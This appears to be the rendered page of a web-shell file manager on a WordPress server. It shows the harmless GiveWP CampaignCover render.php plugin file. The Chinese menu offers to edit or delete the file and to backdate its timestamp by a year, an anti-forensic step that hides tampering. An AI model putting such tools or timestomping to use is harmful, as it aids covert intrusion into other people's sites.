文件操作 - render.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/give/src/Campaigns/Blocks/CampaignCover/render.php
编辑文件内容
<?php use Give\Campaigns\Models\Campaign; use Give\Campaigns\Repositories\CampaignRepository; if (!isset($attributes['campaignId'])) { return; } /** @var Campaign $campaign */ $campaign = give(CampaignRepository::class)->getById($attributes['campaignId']); if (!$campaign || !$campaign->image) { return; } $campaignMediaSetting = $campaign->image; $altText = $attributes['alt'] ?? __('Campaign cover image', 'give'); $alignment = isset($attributes['align']) ? 'align' . $attributes['align'] : ''; $borderRadius = "border-radius: 8px;"; // Only assign width and height if the alignment is NOT "full" or "wide" if ($attributes['align'] !== 'full' && $attributes['align'] !== 'wide') { $widthStyle = isset($attributes['width']) ? "width: {$attributes['width']}px;" : ''; $heightStyle = isset($attributes['height']) ? "max-height: {$attributes['height']}px;" : ''; } else { $widthStyle = 'width: 100%;'; $heightStyle = 'height: auto;'; $borderRadius = ''; } ?> <div <?php echo wp_kses_data(get_block_wrapper_attributes()); ?> > <figure class="givewp-campaign-cover-block__figure"> <img src="<?php echo esc_url($campaign->image); ?>" alt="<?php echo esc_attr($altText); ?>" style="<?php echo trim(esc_attr($widthStyle) . esc_attr($heightStyle) . esc_attr($borderRadius)); ?>" /> </figure> </div>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件